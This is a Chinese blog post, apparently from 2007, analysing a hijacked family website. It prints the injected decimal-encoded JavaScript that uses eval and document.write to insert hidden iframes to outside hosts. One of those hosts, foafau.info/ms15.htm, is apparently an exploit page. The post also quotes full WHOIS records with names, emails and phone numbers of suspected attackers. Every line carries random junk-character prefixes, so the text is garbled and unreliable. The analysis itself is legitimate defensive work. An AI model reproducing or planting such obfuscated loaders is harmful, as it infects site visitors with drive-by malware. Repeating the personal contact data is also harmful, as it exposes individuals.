首发在我的博客里面，
RkTO5XO v;$cx*? http://www.areway.cn/?p=175 FrL
;1zt # _9Jam%M 9X ^D( 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
[qHtN. NB)$l2<d <script>t=’60,105,102,114,97,109,101,
e00s*LdC 32,115,114,99,61,104,116,116,112,58,47,47,
*T:gx:Sg/ 102,114,101,101,46,117,45,117,117,117,46,99,
-_p@I+B 110,47,101,114,114,111,114,46,104,116,109,
O@7={)6qc 32,119,105,100,116,104,61,49,48,48,32,104,
^sb+|b 101,105,103,104,116,61,48,62,60,47,105,102,
wNtPh& 114,97,109,101,62′;
"}ZUa~7 t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
i0py5Q : kw14?]_ <script>t=’60,105,102,114,97,109,101,32,115,
9|5>?'CqP 114,99,61,104,116,116,112,58,47,47,102,114,
*If ]f0?% 101,101,46,117,45,117,117,117,46,99,110,47,
vWq/A . 101,114,114,111,114,46,104,116,109,32,119,
G W~ ZmK 105,100,116,104,61,49,48,48,32,104,101,105,
XMi)PXs$ 103,104,116,61,48,62,60,47,105,102,114,97,
lDF26< <\` 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
~X2
cTG!, document.write(t);</script>
ov%. +5 P Y. 1dk <html xmlns=”
j"wbq-n,7 http://www.w3.org/1999/xhtml Q|&Wcxq2! “>
cjy b:gAO <head>
$?Z-BD 1 <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
> a"4aYj <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
VU ,tCTXz <title>首页 - 爱生活家庭网
("T8 mt[w> ?I}0[+)V 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
NWt5)xl 转换字符串后的大概内容是（谁点击后果自付）：
Ou,Eu05jt' <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
68YJ@(iS aX,ux9# 查询玉米u-uuu.cn的详细信息：
k`;&?? Domain Name: u-uuu.cn
O o d?ifA ROID: 20070901s10001s64972306-cn
y1*z," dx Domain Status: ok
GkYD:o=qx Registrant Organization: 王雷
`bMw t?[* Registrant Name: 王雷
S/H!a:_5r Administrative Email:
czlovexs@126.com 3l o.YLP^ Sponsoring Registrar: 北京万网志成科技有限公司
.p?kAf` Name Server:ns.yovole.com
)uxXG `,h Name Server:ns1.yovole.com
8Ssk>M* Registration Date: 2007-09-01 17:54
@$]
CC1Y Expiration Date: 2008-09-01 17:54
r}~|,O3bc' 最后PING了一下地址 都没有什么….
d_w^u|(K `@#,5S$ E 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
q+ )csgN <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
UukHz}(E <script language=”javascript” src=”
~RIn7/A http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script 1EcXvT= >
C$#X6Q!, 这个玉米应该有可能是木马作者的：
[>xGynU0 foafau.info的详细信息：
M%@ =BT Access to INFO WHOIS information is provided to assist persons in
]YqeI *BX determining the contents of a domain name registration record in the
[bZASe h Afilias registry database. The data in this record is provided by
:^ *9E b Afilias Limited for informational purposes only, and Afilias does not
M-+pYv#&P guarantee its accuracy. This service is intended only for query-based
~vv\A5O[| access. You agree that you will use this data only for lawful purposes
QJKVNOo and that, under no circumstances will you use this data to: (a) allow,
mvrg!/0w enable, or otherwise support the transmission by e-mail, telephone, or
]xf|xs facsimile of mass unsolicited, commercial advertising or solicitations
Mg^.~8\d e to entities other than the data recipient’s own existing customers; or
.BqS E (b) enable high volume, automated, electronic processes that send
&Dw8GU}1 queries or data to the systems of Registry Operator, a Registrar, or
~ @Au < Afilias except as reasonably necessary to register domain names or
hY^-kdQ>M modify existing registrations. All rights reserved. Afilias reserves
{nyVC%@Y the right to modify these terms at any time. By submitting this query,
elw}(l<F you agree to abide by this policy.
E])X$:P? Domain ID:D22418703-LRMS
WTZr {)e Domain Name:FOAFAU.INFO
}2 i3 Created On:20-Nov-2007 16:05:42 UTC
N,Ys}qP Last Updated On:20-Nov-2007 16:05:44 UTC
"H!2{l{ Expiration Date:20-Nov-2008 16:05:42 UTC
L.1pO2zPe Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
Bp:i[9w Status:CLIENT DELETE PROHIBITED
a eo/4 Status:CLIENT RENEW PROHIBITED
BR[f{)a5 Status:CLIENT TRANSFER PROHIBITED
b*@y/ e\u` Status:CLIENT UPDATE PROHIBITED
?iQA>P9B Status:TRANSFER PROHIBITED
f7Fr%*cO Registrant ID:GODA-040110615
.f~x*@ Registrant Name:liu hong
q9mYhT/I m Registrant Organization:
p/GYfa
dU Registrant Street1:beijing
AroXf# . Registrant Street2:
xs ^$fn\ Registrant Street3:
]&kzIxh Registrant City:beijing
_m8JU Registrant State/Province:
BoMf#l.3B Registrant Postal Code:100000
TRS R5D[ Registrant Country:CN
ob 3Z
I Registrant Phone:+86.860108888777
l|onH;g\ Registrant Phone Ext.:
<D!\"C Registrant FAX:
$xU5vCwAo Registrant FAX Ext.:
KN"V(<!)~ Registrant Email:bbbshiji@163.com
#7~i.8L Admin ID:GODA-240110615
|[]"{Eo"} Admin Name:liu hong
2n`OcXCh/ Admin Organization:
'G-zJcU Admin Street1:beijing
*=O~TY<]( Admin Street2:
0o+2]`q)Q Admin Street3:
V9o_ Q Admin City:beijing
QA3q9,C"
Admin State/Province:
Z*Qra4GBl] Admin Postal Code:100000
0W1=9+c|X Admin Country:CN
5lMm8<v Admin Phone:+86.860108888777
.5PcprE/ Admin Phone Ext.:
ixFuqPij Admin FAX:
&%/kPF~< Admin FAX Ext.:
xo46L\ Admin Email:bbbshiji@163.com
nS}XY Billing ID:GODA-340110615
Im\{b=vT Billing Name:liu hong
MxXu&.| _ Billing Organization:
@'yD(ZMAz Billing Street1:beijing
Y=#g_(4* Billing Street2:
s)~6 0c Billing Street3:
'[h|f Billing City:beijing
X)K3X:~L+ Billing State/Province:
5YG?m{hyn_ Billing Postal Code:100000
f/:XIG Billing Country:CN
Y :0SrB!\ Billing Phone:+86.860108888777
z7H[\ 4A!> Billing Phone Ext.:
3B<$ 6 Billing FAX:
j+c<0,Kj Billing FAX Ext.:
_= .f+1W Billing Email:bbbshiji@163.com
3Hli^9&OX_ Tech ID:GODA-140110615
>|[74#}7 Tech Name:liu hong
MOIH%lpe Tech Organization:
,\FJVS;NeJ Tech Street1:beijing
Y M_\ ZK: Tech Street2:
9 OC!\'
8 Tech Street3:
27t23@{YL Tech City:beijing
b ]NSCu*)s Tech State/Province:
G^]7!: 0 Tech Postal Code:100000
#.(6.Li Tech Country:CN
J=gerdIk Tech Phone:+86.860108888777
lF\oEMd* Tech Phone Ext.:
C>qKKLZ Tech FAX:
+##b}?S% Tech FAX Ext.:
.cQ<F4)!tu Tech Email:bbbshiji@163.com
[Pu~kiN Name Server:NS27.DOMAINCONTROL.COM
H?P:;1A]c Name Server:NS28.DOMAINCONTROL.COM
q,JMmhWaT Name Server:
L.[ H
Name Server:
0 .~Pzg Name Server:
L{)e1 p]q Name Server:
!6pOY*> j Name Server:
'y
[eH Name Server:
}wh)I]]U Name Server:
^+JpI*, Name Server:
}/yhwijg Name Server:
-
T,;Fr' Name Server:
pN) 9 G O5 Name Server:
O6^>L0' S3[rv 接着下载每个文件里面的代码：
+oZq~2?*S6 一步一步看..
K.Tfu"6 
dooS|Mq 
Ocq.<#||H 
_(}{=:M? 
99@uU[&IJ 
n#
%m L< 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
